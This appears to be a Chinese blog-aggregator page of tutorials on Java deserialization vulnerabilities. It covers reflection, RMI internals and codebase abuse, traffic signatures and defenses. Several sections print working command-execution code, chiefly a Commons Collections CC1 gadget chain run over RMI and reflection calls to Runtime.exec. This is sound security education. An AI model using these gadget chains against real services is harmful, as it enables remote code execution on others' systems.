精华内容
下载资源
问答
  • Java反序列

    2021-09-05 22:01:02
    Java反序列Java反序列化概念漏洞原理漏洞危害漏洞出现点漏洞挖掘漏洞防御序列化与反序列化代码参考文章 Java反序列化概念 在说反序列化之前,先说说序列化 序列化就是将对象转化为字节流,利于存储和被引用 反...

    在这里插入图片描述

    Java反序列化概念

    在说反序列化之前,先说说序列化

    序列化就是将对象转化为字节流,利于存储和被引用

    反序列化与序列化恰恰相反,是将字节流转化为对象

    序列化的格式:json序列化,xml序列化,二进制序列化,SOAP序列化

    序列化调用的函数

    • 序列化:java.io.ObjectOutputStream 类中的 writeObject()
    • 实现 Serializable 和 Externalizable 接口的类才能被序列化

    反序列化调用的函数

    • 反序列化:java.io.ObjectInputStream 类中的 readObject()

    漏洞原理

    思考:为什么在反序列化的时候会产生漏洞呢,下面这两个点是关键的

    • 某个函数的参数输入可控
    • 输入的命令被反序列化(也就是被执行)

    漏洞原理

    原理:在 Java中,重写的方法会优先执行。如果重写了readObject(),并且函数中某个参数的输入可控,那么攻击者就可以输入任意命令(代码)。在反序列化过程中调用readObject()方法时,就会执行恶意命令,造成攻击。

    关键:输入的数据进行了反序列化操作

    漏洞危害

    由于上述介绍说到输入可控,因此可以结合远程命令执行(RCE),也可以通过RCE进行webshell上传(写文件)等

    漏洞出现点

    漏洞经常存在于一些 web组件中。例如 weblogic,Fastjson,JBoss,WebSphere,Jenkins,OpenNMS,Shiro

    需要了解以下知识

    • HTTP请求的参数cookie,Parameters
    • RMI协议,完全基于序列化
    • JNDI
    • JMX 协议,用于处理序列化对象

    RMI 协议(Remote Method Protocol):远程方法调用。在JAVA 中,只要一个类 extends了 java.rmi.Remote接口,这个类就可以被客户端远程访问,并提供服务。

    RMI协议默认端口1099,基于socket协议

    JNDI(Java Naming and Directory Interface,Java命名和目录接口):是一个接口,能够查找和访问各种命名和目录服务。比如LDAP,DNS,RMI,CORBA。

    JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI 服务供应接口(SPI)的实现,由管理者将JNDI API 映射为特定的命名服务和目录系统,使得 Java 应用程序可以和这些命名服务和目录服务直接进行交互。

    漏洞挖掘

    1. 确定反序列化的输入点

      首先再出readObject()方法的调用,找到之后进行下一步的注入操作

      查找方法

      • 源码审计:寻找可以利用的靶点,确定调用反序列化函数readObject() 的调用点

      • 流量抓包:一般都有固定的流量特征

        黑盒流量分析(奇安信秋招面试题)

        在 Java反序列化传送的包中,一般有两种传送方式

        1. TCP 传输,在TCP报文中,一般是二进制流的方式。流量特征:aced0005,这个16进制流基本上意味着Java反序列化的开始
        2. HTTP 传输,在HTTP报文中,大多以base64传输。流量特征:rO0AB,其实是 aced0005的base64编码的结果

        流量中有以上特征,意味着存在Java反序列化,可尝试构造payload

        白盒代码审计

        1. 观察实现了Serializable 接口的类是否存在问题
        2. 观察重写了readObject方法的函数逻辑是否存在问题
    2. 再考察应用的Class Path中是否包含Apache Commons Collections库

    3. 生成反序列化 payload

    4. 执行payload

    漏洞防御

    1. 类的白名单校验机制

      • 传入的的数据在反序列化之前,对类型名做一个检测,不符合白名单的类不进行反序列化操作。
      • 例如:Runtime 肯定不会在白名单中
    2. 禁止JVM执行外部命令 Runtime.exec

      这个举措可以通过扩展 SecurityManager 可以实现

    序列化与反序列化代码

    Fun.java

    package com.test;
    
    import java.io.*;
    
    public class Fun {
    
        public static void main(String args[]) throws IOException, ClassNotFoundException {
            Fun f = new Fun();
            f.ser();
            f.unser();
                //System.out.println(f);
        }
    
    	//序列化
        public void ser() throws IOException {
            FileOutputStream fos = new FileOutputStream("test.txt");       //实例化文件输出流
            ObjectOutputStream oos = new ObjectOutputStream(fos);                //实例化对象输出流,输出到fos对象
            Stu stu1= new Stu();
            stu1.setId(1);
            stu1.setName("Alice");
            oos.writeObject(stu1);      //将stu1 写入对象流,存储在本地
            oos.close();                //关闭对象输出流
            //fos.close();                //关闭文件输出流
            System.out.println("Serializable Success");
    
        }
    
        //反序列化
        public void unser() throws IOException, ClassNotFoundException {
            FileInputStream ins = new FileInputStream("test.txt");          //实例化文件输入流
            ObjectInputStream ois = new ObjectInputStream(ins);                   //实例化对象输入流,从ins对象中获取数据
            Stu stu2 = (Stu) ois.readObject();
            System.out.println("Unserializbale Success");
            System.out.println(stu2.getName());
    
        }
    }
    

    Stu.java

    package com.test;
    
    import java.io.Serializable;
    
    public class Stu implements Serializable {
        int id;
        String name;
    
        public int getId() {
            return id;
        }
    
        public void setId(int id) {
            this.id = id;
        }
    
        public String getName() {
            return name;
        }
    
        public void setName(String name) {
            this.name = name;
        }
    }
    

    参考文章

    浅谈Java反序列化漏洞原理

    JAVA反序列化漏洞浅析

    展开全文
  • JAVA反序列化机制

    2021-02-12 09:19:11
    最近看了下JAVA反序列化机制,发现它还是比想像中的要兼容些。不过还是有一些陷阱,跨语言跨平台的协议才是王道。反序列化过程如下图:几个关键点:1.ObjectStreamClass的matchFields方法:此处会比较本地与序列化...

    最近看了下JAVA反序列化机制,发现它还是比想像中的要兼容些。不过还是有一些陷阱,跨语言跨平台的协议才是王道。

    反序列化过程如下图:

    aaddc9e5cbc2ebcff51c1b0971d0c84b.png

    几个关键点:

    1.ObjectStreamClass的matchFields方法:此处会比较本地与序列化数据流中对象字段,对本地不存在的字段做过滤标识;如果本地存在同名但类型不同,则抛错。

    2.readOrdinaryObject的处理:会调用ObjectStreamClass创建一个实例,但ObjectStreamClass只创建实例,不会调用类的构造方法,也就是说类似private int num = 10;的字段缺省值是不会被赋值的。

    3. readOrdinaryObject完成从序列化流中读取值,对于标记过滤的字段跳过赋值;对于本地有而序列化流中没有的字段,不做赋值操作,也就是说该字段是类型的默认值(int为0对象为null)。

    结合来说,使用JAVA序列化的几个注意点:

    1、在只做添加、删除对象属性时,能做到兼容,但注意此时新加/删除字段的缺省值会丢失。(陷阱)

    2、修改serialVersionUID值、变更属性类型,会不兼容。

    3、枚举型添加成员能兼容,删除时无法兼容。但序列化与反序列化通常成对出现,一边是添加对另一边来说就是删除,此时需要小心判断。

    另外,发现一点调试JDK代码的好办法,就是自己编译然后指定源码包,用默认的rt.jar调试时是看不到局部变量的值。

    附1:JAVA序列化过程

    1.将对象实例相关的类元数据输出。

    2.递归地输出类的超类描述直到不再有超类。

    3.类元数据完了以后,开始从最顶层的超类开始输出对象实例的实际数据值。

    4.从上至下递归输出实例的数据

    例子

    publicclass

    Parent {

    int parentVersion

    = 10;

    }

    classcontain implements

    Serializable{

    int containVersion

    = 11;

    }

    publicclass SerialTest

    extends Parent implements Serializable {

    int version

    = 66;

    contain con = new

    contain();

    public int

    getVersion() {

    return version;

    }

    }

    b91576ee6f2fbb45b0dd08b7555ecb9f.png

    9c81db885c4c9508d82eac19db48d30e.png

    ·协议、版本、新对象标识

    ·对象类描述

    ·属性version描述(类型、长度、名称)

    ·属性con描述

    ·父类(Parent)及父类属性描述

    ·各个属性的值(parentVersion、version)

    ·contain类的描述、属性描述及值

    附2:反序列化时序图(未整理,画得比较乱)

    a3910d354e3800f4617338420d1c6cd1.gif

    457c77c1b76f8d537c6fac1d776657ee.png

    大小: 22.5 KB

    3422b88e9d9b663a1c776ffd4708bc56.gif

    大小: 52.1 KB

    145394c80ccc549631460b128e51890b.png

    大小: 11.3 KB

    733a2724837a2fc8dd78d307e1ec518f.png

    大小: 31.7 KB

    分享到:

    18e900b8666ce6f233d25ec02f95ee59.png

    72dd548719f0ace4d5f9bca64e1d7715.png

    2011-01-11 10:27

    浏览 3230

    评论

    展开全文
  • 前言 ...RMI使用赖的通信协议为JRMP(Java Remote Message Protocol ,Java 远程消息交换协议),该协议为Java定制,要求服务端与客户端都为Java编写。 RMI分为三个主体部分:摘自https://xz.aliyun.c

    前言

    也是从接触fastjson的时候才接触RMI这个东西。也经常与JNDi搞混。这篇文章先分析RMI的底层,等研究过了再加上。

    什么是RMI

    RMI即远程方法调用,通俗的来说就是客户端可以调用服务端的方法。和RPC差不多,RMI是java独立实现的一种机制。

    RMI使用赖的通信协议为JRMP(Java Remote Message Protocol ,Java 远程消息交换协议),该协议为Java定制,要求服务端与客户端都为Java编写。

    RMI分为三个主体部分:摘自https://xz.aliyun.com/t/6660#toc-5

    • Client-客户端:客户端调用服务端的方法
    • Server-服务端:远程调用方法对象的提供者,也是代码真正执行的地方,执行结束会返回给客户端一个方法执行的结果。
    • Registry-注册中心:其实本质就是一个map,相当于是字典一样,用于客户端查询要调用的方法的引用。

    使用RMI

    服务端:
    1.首先创建一个接口。

    public interface HelloService extends Remote {
        public Object sayName(Object name) throws RemoteException;
    }
    

    这个接口需要满足以下条件

    • RMI规定此接口必须实现java.rmi.Remote
    • 每个方法抛出RemoteException

    2.创建该接口的实现类。

    class HelloServiceImpl extends UnicastRemoteObject implements HelloService{
            protected HelloServiceImpl() throws RemoteException {
            }
    
            @Override
            public Object sayName(Object name) throws RemoteException{
                return name;
            }
        }
    

    这个实现类需要满足以下条件:

    • 实现远程接口
    • 继承UnicastRemoteObject类,貌似继承了之后会使用默认socket进行通讯,并且该实现类会一直运行在服务器上。
      (如果不继承UnicastRemoteObject类,则需要手工初始化远程对象,在远程对象的构造方法的调用UnicastRemoteObject.exportObject()静态方法。)

    3.注册远程对象
    为了方便,这里已经将实现类和注册远程对象放在一起

    package com.darkerbox.rmi;
    
    import java.net.MalformedURLException;
    import java.rmi.Naming;
    import java.rmi.RemoteException;
    import java.rmi.registry.LocateRegistry;
    import java.rmi.server.UnicastRemoteObject;
    
    public class RMIServer {
        class HelloServiceImpl extends UnicastRemoteObject implements HelloService{
            protected HelloServiceImpl() throws RemoteException {
            }
    
            @Override
            public Object sayName(Object name) throws RemoteException{
                return "Hello "+name;
            }
        }
    
        public void start(){
            try {
                // 创建远程对象
                HelloService hello = new HelloServiceImpl();
                // 在本地主机上创建和导出注册表实例,并在指定的端口上接受请求
                LocateRegistry.createRegistry(1389);
                // 注册对象,即把对象与一个名字绑定。
                Naming.rebind("rmi://0.0.0.0:1389/zhangsan",hello);
            } catch (RemoteException e) {
                e.printStackTrace();
            } catch (MalformedURLException e) {
                e.printStackTrace();
            }
        }
        public static void main(String[] args) {
            new RMIServer().start();
        }
    }
    

    上面 rmi:写不写都行,不写端口的话,默认是1099。

    需要注意的是LocateRegistry.createRegistry(1389);就相当于创建了一个注册中心(Registry)。Naming.rebind("rmi://0.0.0.0:1389/zhangsan",hello);则是绑定对象实例到注册中心。

    这两行代码其实Server和Registry。将他们写在了一起。

    这里就可以想是不是可以将Server和Registry分离。

    客户端
    1.部署客户端

    package com.darkerbox.rmi;
    import java.rmi.Naming;
    
    public class RMIClient {
        public static void main(String[] args) throws Exception {
            HelloService hello = (HelloService) Naming.lookup("rmi://192.168.0.185:1389/zhangsan");
            System.out.println(hello.sayName("Vicl1fe"));//通过远程对象,调用sayName方法
        }
    }
    

    客户端需要满足的条件

    • 需要使用远程接口(包名,类名必须一致,serialVersionUID一致)
    • Naming.lookup用来查找远程对象

    先运行服务端再运行客户端

    流量分析

    1.下图是客户端与1099端口通信的流量先分析这个
    在这里插入图片描述


    在这里插入图片描述
    刚开始客户端发了一个请求,服务端响应了该请求,目前还不清楚是在做什么,应该是在验证该端口是注册中心吧。


    在这里插入图片描述
    先看请求,会发现客户端发送了一个序列化后的对象。因为ac ed 00 05是Java反序列化的特征。那么RMI序列化了对象,怎么序列化的,这就要去分析源码了,暂时先不分析。我们现在知道他序列化了某个对象。并且其中有个值zhangsan。

    注册中心接受到请求后,肯定会反序列化收到的对象,然后查询zhangsan绑定的对象。然后注册中心会返回给客户端一个IP和端口。如上图,上图标错了,端口应该是紧跟着Ip后面的00 00 fa 9e,转为十进制为64158。这个IP和端口就是服务端

    需要注意的是我们是无法控制这里的序列化和反序列化的

    后面的流量就是收尾工作了


    之后就变成客户端和服务端(64158端口)进行通信了。整体过程如下

    在这里插入图片描述


    第一次请求和响应就不分析了。直接看第二次的。
    在这里插入图片描述
    第二次请求没太看明白,需要根据RMI源码来进分析了,之后会补上。


    在这里插入图片描述
    第三次请求,可以发现将参数传递到服务端,然后服务端返回了响应结果,全程都是序列化和反序列化进行的。但这里可以思考,如果参数是恶意的对象,当进行序列化和反序列化的时候会不会恶意调用呢?答案是会的,之后会实验

    忘了说,上面的10网段的IP就是我自己本地另一个网卡的IP。

    攻击Registry

    上面说到了Registry注册中心,对于注册中心我们可不可以进行攻击?会有哪些安全问题?

    首先注册中心是管理远程对象的,那我们可以随意的绑定对象,解绑对象吗?答案是不可以的。

    Java对远程访问RMI Registry做了限制,只有来源地址是localhost的时候,才能调用rebind、
    bind、unbind等方法。

    但是listlookup方法可以远程调用。

    list方法可以列出目标上所有绑定的对象:

    String[] s = Naming.list("rmi://127.0.0.1:1389"); 
    

    如果注册中心存在敏感服务,可以进行探测调用,工具地址https://github.com/NickstaDB/BaRMIe

    codebase

    RMI有一个特点:动态类加载

    在RMI的通讯过程中,全程都是序列化和反序列化,当某一端进行反序列化的时候,会先到classpath中找,如果找不到可以根据codebase去下载这个类的class,然后动态加载这个对象class文件。

    codebase通常是远程URL,比如http、ftp。

    如果指定 codebase=http://example.com/ ,然后加载org.vulhub.example.Example类,则
    Java虚拟机会下载这个文件 http://example.com/org/vulhub/example/Example.class ,并作为
    Example类的字节码。

    如果codebase被控制,我们不就可以加载恶意类了吗?

    对,在RMI中,我们是可以将codebase随着序列化数据一起传输的,服务器在接收到这个数据后就会去CLASSPATH和指定的codebase寻找类,由于codebase被控制导致任意命令执行漏洞。

    不过显然官方也注意到了这一个安全隐患,所以只有满足如下条件的RMI服务器才能被攻击:

    1. 安装并配置了SecurityManager
    2. Java版本低于7u21、6u45,或者设置了 java.rmi.server.useCodebaseOnly=false

    其中 java.rmi.server.useCodebaseOnly 是在Java 7u21、6u45的时候修改为true:
    java.rmi.server.useCodebaseOnly 配置为 true 的情况下,Java虚拟机将只信任预先配置好的 codebase ,不再支持从RMI请求中获取。

    一个例子

    客户端代码如下RMIClient.java

    public class RMIClient implements Serializable {
      public class Payload extends ArrayList<Integer> {}
      public void lookup() throws Exception {
        ICalc r = (ICalc)
    Naming.lookup("rmi://192.168.135.142:1099/refObj");
        List<Integer> li = new Payload();
        li.add(3);
        li.add(4);
        System.out.println(r.sum(li));
     }
      public static void main(String[] args) throws Exception {
        new RMIClient().lookup();
     }
    }
    

    此时服务端是没有Payload这个类的。所以服务端就会从codebase来寻找类

    运行客户端的命令如下,使用-Djava.rmi.server.codebase来指定codebase

    java -Djava.rmi.server.useCodebaseOnly=false -
    Djava.rmi.server.codebase=http://example.com/ RMIClient
    

    利用条件比较苛刻

    具体细节参考:java安全漫谈 RMI篇

    直接攻击RMI服务端

    直接先将服务端和客户端都添加上CC1的依赖

    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>
    

    我新建了一个类,用来生成cc1的对象

    package com.darkerbox.cc;
    
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.TransformedMap;
    
    import java.lang.annotation.Target;
    import java.lang.reflect.Constructor;
    import java.util.HashMap;
    import java.util.Map;
    
    public class cc1 {
        public static Object getpayload() throws Exception{
            Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
            };
            Transformer transformerChain = new ChainedTransformer(transformers);
    
            Map map = new HashMap();
            map.put("value", "lala");
            Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
    
            Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
            ctor.setAccessible(true);
            Object instance = ctor.newInstance(Target.class, transformedMap);
            return instance;
        }
    }
    
    

    然后修改服务端里重写的方法,可以看到返回值直接返回了恶意对象。

    public Object sayName(Object name) throws RemoteException{
                try {
                    return cc1.getpayload();
                } catch (Exception e) {
                    e.printStackTrace();
                }
                return null;
            }
    

    同时服务端具有以下特点:

    • jdk版本1.7
    • 使用具有漏洞的Commons-Collections3.1组件
    • RMI提供的数据有Object类型(因为攻击payload就是Object类型)

    然后客户端我们也进行修改,可以看到传的参数就是cc1的恶意对象。

    public static void main(String[] args) throws Exception {
         HelloService hello = (HelloService) Naming.lookup("rmi://192.168.0.185:1389/zhangsan");
         System.out.println(hello.sayName(cc1.getpayload()));//通过远程对象,调用sayName方法
     }
    

    先运行服务端,然后运行客户端。
    在这里插入图片描述
    因为我客户端和服务端放在一台机器上,这里同时弹出了两个计算器,说明我们的攻击是成功的。
    反序列化的时候,客户端将恶意对象发给了服务端,服务端反序列化了恶意对象,然后将函数的执行结果(cc1恶意对象)也序列化给客户端,客户端然后反序列化该恶意对象。导致双方都执行了CC1。

    最后

    当初是为了明白fasjton的利用方式学的RMI,然后才发现RMI反序列化和fasjton利用基本扯不上关系。扯上关系的是JNDI注入,之后学习JNDI注入吧。都是大哥们学剩下的,呜呜呜。

    参考

    https://xz.aliyun.com/t/6660#toc-5
    Java 安全漫谈RMI篇1-3
    流量分析:https://www.guildhab.top/2020/03/java-rmi-ldap-%E6%B5%81%E7%A8%8B%E5%88%86%E6%9E%90/

    codebase:http://devgou.com/article/Java-RMI/

    展开全文
  • Java反序列化之反射机制

    千次阅读 2021-12-07 20:18:03
    每次听到大佬在讲或者看论坛等一些方式学java反序列化漏洞时,都会有一个词叫做反射机制,大佬顺势借着这个词,就给你造出一个payload,对于刚学java反序列化的我们,可能有点会懵圈,反正我是懵了,所以就赶紧学了...


    前言

    每次听到大佬在讲或者看论坛等一些方式学java反序列化漏洞时,都会有一个词叫做反射机制,大佬顺势借着这个词,就给你造出一个payload,对于刚学java反序列化的我们,可能有点会懵圈,反正我是懵了,所以就赶紧学了一波,不然和大佬差距越来越大。所以这篇文章主要讲述java反射机制

    Java反射机制

    Java的反射(reflection)机制是指在程序的运行状态中,可以构造任意一个类的对象,可以了解任意一个对象所属的类,可以了解任意一个类的成员变量和方法,可以调用任意一个对象的属性和方法。这种动态获取程序信息以及动态调用对象的功能称为Java语言的反射机制。反射被视为动态语言的关键。

    我不太擅长文字表达,还是上图操作把

    不用反射机制的例子

    
    //定义一个animals接口
    interface animals {
        public abstract void print();
    }
    //定义类来实现animals接口的抽象方法
    class Dog implements animals {
        public void print() {
            System.out.println("Dog");
        }
    }
    
    class Cat implements animals {
        public void print() {
            System.out.println("Cat");
        }
    }
    
    // 构造一个zoo类
    // 之后如果我们在添加其他的实例的时候只需要修改zoo类
    class zoo {
    
        public static animals getInstance(String animalsName) {
            animals a = null;
            if ("Dog".equals(animalsName)) {
                a = new Dog();
            }
            if ("Cat".equals(animalsName)) {
                a = new Cat();
            }
            return a;
        }
    }
    
    public class reflection {
        public static void main(String[] args) {
            //借助zoo类寻找对应的类来实现接口
            animals a=zoo.getInstance("Cat");
            if(a!=null)
                a.print();
        }
    }
    
    

    这时候添加动物,只需要

    • 添加类
    • 修改zoo
    • 修改main函数的动物类

    把上面修改为反射机制

    //定义一个animals接口
    interface animals {
        public abstract void print();
    }
    
    //定义类来实现animals接口的抽象方法
    class Dog implements animals {
        public void print() {
            System.out.println("Dog");
        }
    }
    
    class Cat implements animals {
        public void print() {
            System.out.println("Cat");
        }
    }
    
    // 构造一个zoo类
    // 之后如果我们在添加其他的实例的时候只需要修改zoo类
    class zoo {
    
        public static animals getInstance(String className) {
            animals a = null;
            try {
                //借助Class.forName寻找类名,并用newInstance实例化类似于new
                a = (animals) Class.forName(className).newInstance();
            } catch (Exception e) {
                e.printStackTrace();
            }
            return a;
        }
    }
    
    public class reflection {
        public static void main(String[] args) {
            //借助zoo类寻找对应的类来实现接口(classname为当前包名加类名)
            animals a = zoo.getInstance("com.cc1.Dog");
            if (a != null)
                a.print();
        }
    }
    
    

    这时候添加动物只需要

    • 添加类
    • 修改main函数的动物类

    省了一步,传入类名可控,发现好像是存在的类都可以调

    反射机制方法

    我们用的最多的可能是

    • forName(调用类)
    • getMethod(调用类下方法)
    • invoke(执行)
    • newInstance(实例化对象)
    
    Class.forName(className).getMethod(methodName).invoke(Class.forName(className).newInstance());
    
    

    下面我们用反射机制来弹出计算机(calc)或者记事本(notepad)

    由于弹出计算机有点多这次我就弹记事本把,总而言之,能弹出来就很美妙

    Runtime.getRuntime().exec("notepad");
    

    在这里插入图片描述
    我们看下getRuntime函数
    在这里插入图片描述
    得知,该函数是Runtime类获取对象的方式,个人感觉是每用一次就调一次比较麻烦,为了不调用一次建立一个对象所以封装成了函数

    类对象获取方式

    • Class.forName(类名获取)
    • zoo.class(已经加载过的类)
    • obj.class(实例)
      在这里插入图片描述

    类初始化

    修改zoo类,增加初始块、静态初始块、和构造函数

    
    class zoo {
        //初始块
        {
            System.out.println("1  " + this.getClass());
        }
    
        //静态初始块
        static {
            System.out.println("2  " + zoo.class);
        }
    
        public zoo() {
            System.out.println("3  " + this.getClass());
        }
    
        public static animals getInstance(String className) {
            animals a = null;
            try {
                //借助Class.forName寻找类名,并用newInstance实例化类似于new
                a = (animals) Class.forName(className).newInstance();
            } catch (Exception e) {
                e.printStackTrace();
            }
            return a;
        }
    }
    
    

    类初始化执行顺序:静态初始块
    在这里插入图片描述
    类实例化执行顺序:静态初始块 - > 初始块 - > 构造函数
    在这里插入图片描述
    由此得知,类初始化和类实例化不一样

    接下来增加zoo1类继承zoo类

    
    class zoo1 extends zoo{
        //初始块
        {
            System.out.println("11  " + this.getClass());
        }
    
        //静态初始块
        static {
            System.out.println("12  " + zoo.class);
        }
    
        public zoo1() {
            System.out.println("13  " + this.getClass());
        }
    }
    
    

    子类初始化顺序:父类静态初始化块 - > 子类静态初始化块
    在这里插入图片描述
    子类实例化顺序:父类静态初始化块 - > 子类静态初始化块 - > 父类初始化块 - > 父类构造函数 - > 子类初始化块 - >子类构造函数
    在这里插入图片描述
    以上可以得知,当使用Class.forName时,且类静态初始化块可控,可以执行任意代码

    调用内部类

    Class.forName(“java.lang.Runtime”)来获取类(java.lang.Runtime是Runtime类的完整路径)

    getMethod

    getMethod 的作用是通过反射获取类的某个特定的公有方法。
    java支持类重载,但不能仅通过一个函数名确定一个函数,所以在调用getMethod时,需要传给它方法的参数类型列表
    Class.forName(“java.lang.Runtime”).getMethod(“exec”, String.class)

    invoke

    静态和动态方法的区别
    在这里插入图片描述

    invoke方法在getMethod类下,作用时传递参数,执行方法
    public Object invoke(Object obj, Object… args)
    第一个参数是getMethod获取的方法的类对象(如果方法是静态方法则传类)
    获取exec函数的类对象
    Class.forName(“java.lang.Runtime”).getMethod(“getRuntime”).invoke(Class.forName(“java.lang.Runtime”))
    由于getRuntime是静态方法,所以传类
    invoke(Class.forName(“java.lang.Runtime”).getMethod(“getRuntime”).invoke(Class.forName(“java.lang.Runtime”)),“calc.exe”)

    最后我们合并一下

    
    Class.forName("java.lang.Runtime").
                    getMethod("exec", String.class).
                    invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")), "notepad");
                    
    

    在这里插入图片描述

    指定构造方法生成实例

    
    String str="notepad";
    ProcessBuilder pb = new ProcessBuilder(str);
    pb.start();
    
    

    getConsturctor(函数可以选定指定接口格式的构造函数(由于构造函数也可以根据参数来进行重载)
    选定后我们可以通过newInstance(),并传入构造函数的参数执行构造函数

    ProcessBuilder类有两个构造函数

    • public ProcessBuilder(String… command)(String…变长的字符串数组String[].class)
    • public ProcessBuilder(List command)

    分别使用构造方法

    • Class.forName(“java.lang.ProcessBuilder”).getConstructor(String[].class).newInstance(new String[][]{{“notepad”}})
    • Class.forName(“java.lang.ProcessBuilder”).getConstructor(List.class).newInstance(Arrays.asList(“notepad”))

    执行完构造方法实例后,在进行强制转化使用start函数即可

    ( (ProcessBuilder) Class.forName(“java.lang.ProcessBuilder”).getConstructor(List.class).newInstance(Arrays.asList(“notepad”))).start();

    实际中,肯定用不了,哪有这么好的事,还是接着反射把

    Class.forName(“java.lang.ProcessBuilder”).getMethod(“start”).invoke(clazz.getConstructor(List.class).newInstance(Arrays.asList(“notepad”)));
    在这里插入图片描述
    这里可能有人会好奇我写的里那的另一个构造函数,String…command这个传参为什么用new String[][]{{“notepad”}},不应该是new String[]{“notepad”},现在用应该的

    ((ProcessBuilder) Class.forName(“java.lang.ProcessBuilder”).getConstructor(String[].class).newInstance(new String[]{“notepad”})).start();

    在这行打断点调试
    在这里插入图片描述
    我们传的是一个字符串数组到了实例化的时候变成了一个字符串,再看看另一个构造函数(List)

    ( (ProcessBuilder) Class.forName(“java.lang.ProcessBuilder”).getConstructor(List.class).newInstance(Arrays.asList(“notepad”))).start();

    依旧还是这行打断点

    在这里插入图片描述
    由此可知,List传入时会被当作Object的第一项,而String[]会被当做Object,所以多加一层[]{}

    执行私有方法

    通过函数getDeclaredConstructor获取私有方法,再利用setAccessible(true)打破私有方法限制

    
    Class cls = Class.forName("java.lang.Runtime"); 
    Constructor m = cls.getDeclaredConstructor(); 
    m.setAccessible(true); 
    cls.getMethod("exec", String.class).invoke(m.newInstance(), "notepad");
    
    

    总结

    这里也是通过反射机制调用任意类,大致让我这个门外汉也明白了反射,看到这里的你们想比应该也明白了,如果有什么疑问,我们可以一起交流学习,也请大佬多多指点

    展开全文
  • java反序列化原理-Demo(一)0x00 什么是java序列化和反序列?Java 序列化是指把 Java 对象转换为字节序列的过程便于保存在内存、文件、数据库中,ObjectOutputStream类的 writeObject() 方法可以实现序列化。Java 反...
  • java反序列化是将一个序列化文件或者序列化数据进行还原处理。一个被序列化的数据的2进制数据特征是以aced0005开头,有点类似于exe文件都有PE头一样,具体如下所示: 序列化技术的出现,是为了方便数据保存与传输的...
  • java的序列化和反序列化就不解释了。直接测试。首先测试命令执行原理。1.创建一个maven项目2.引入有漏洞版本的依赖commons-collectionscommons-collections3.13.创建一个测试执行类Apache Commons Collections中实现...
  • 0x01 起因关于Java反序列化的文章已经相当的多了,而且大家也对于这个东西说的很清楚了,所以今年我想换个角度来看看这个东西。我们都知道Java反序列化漏洞的产生原因在于开发者在重写 readObject 方法的时候,写入...
  • 文章目录写在前面easyjava推荐文章 ...ban了这么多,cc链基本上不用想了,一方面是低版本不起作用,另一方面Transformer被ban了,看来只能用TemplatesImpl去执行字节码试一试,想到了Java7U21反序列化(可以看我博客分
  • 文章目录 反射基础知识 动态代理基础知识 静态代理 动态代理 序列化相关函数 反序列化的利用 CTF java反序列 a_piece_of_java 反射基础知识 反射 (Reflection) 是 Java 的特征之一,它允许运行中的 Java 程序获取...
  • 在原博文所提到的那些 Java 应用里都有特定的接口用于传递序列化对象数据,而在反序列化时并没有限制实例化对象的类型,导致可以任意构造应用中已经包含的对象利用反序列化操作进行实例化。Java 在进行反序列化操作...
  • 7-java安全——java反序列化CC1链分析

    千次阅读 2021-07-04 14:49:14
    apache commons-collections组件反序列化漏洞的反射链也称为CC链,自从apache commons-collections组件爆出java第一个反序列化漏洞后,就像打开了新世界大门一样,之后很多java中间件也相继爆出反序列化漏洞。...
  • 看了点Servlet就回来直接看《Java安全漫谈》了,赶紧学点东西,过几天开学回去背sb马原就学不了了。 学习的是**《Java安全漫谈 - 15.TemplatesImpl在Shiro中的利用》**,因为之前刚把TemplatesImpl动态加载字节码...
  • writeObject函数实现了了将maps[0]序列化,与readObject中的Map map = (Map) in.readObject;刚好对应,剩下的就是如何控制maps[0]的值, publicabstractclassAbstractDualBidiMapimplementsBidiMap{...
  • Java反序列化会调用对应的readobject方法 比如我创建一个类test。序列化test类就会调用writeobject方法, 反序列化就会调用test类的readobject方法。默认是存在的。可以重写readobject方法 在HashMap类中,恰恰存在...
  • 这两天很火的java反序列化漏洞,看到乌云大牛已经开始刷分,于是找来实践一波exp来源ysoserial这个项目针对不同的java产品给出了简单的漏洞利用脚本.其中weblogic和jenkins提供python脚本,但需自己加载payload.而...
  • ysoserial.jarysoserial是一款用于生成利用不安全的Java对象反序列化的有效负载的概念验证工具。ysoserial是在常见的java库中发现的一组实用程序和面向属性的编程“小工具链”,在适当的条件下,可以利用执行对象不...
  • 然后,由于各种原因,我将这些列表序列化为两个单独的文件.最后,当我反序列化列表时,我想确保我不会重新创建超出需要的对象.换句话说,List1的某些条目仍然可以指向与List2中的某个条目相同的对象.MyObject obj = new ...
  • //序列化 ---> 反序列化 ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(queue); oos.close(); ObjectInputStream ois = ...
  • 在JavaCC链1的构造中,动态代理起了很关键的作用,这里来进行简单介绍,Java标准库提供了动态代理的机制,其可以在运行期动态创建interface的实例,直接从demo来理解 首先我们来个通常写代码的方式 我们先来一个一个...
  • 预备知识Java反序列化会调用对应的readobject方法比如我创建一个类test。序列化test类就会调用writeobject方法,反序列化就会调用test类的readobject方法。默认是存在的。可以重写readobject方法链子分析在HashMap中...
  • 自己感觉这道题用来了解Java反序列化真是再好不过了 从一道题入门JAVA反序列化漏洞 Java反序列化漏洞分析 深入了解序列化writeObject、readObject、readResolve 用的是readObject,我们去本地测试一下 import java....
  • 文章目录写在前面GadgetsJavaCC链6分析利用链参考文章 ... java.io.ObjectInputStream.readObject() java.util.HashMap.readObject() java.util.HashMap.hash() org.apache.commons.collections.k
  • 【修复总结】JAVA反序列

    千次阅读 2021-03-22 17:07:25
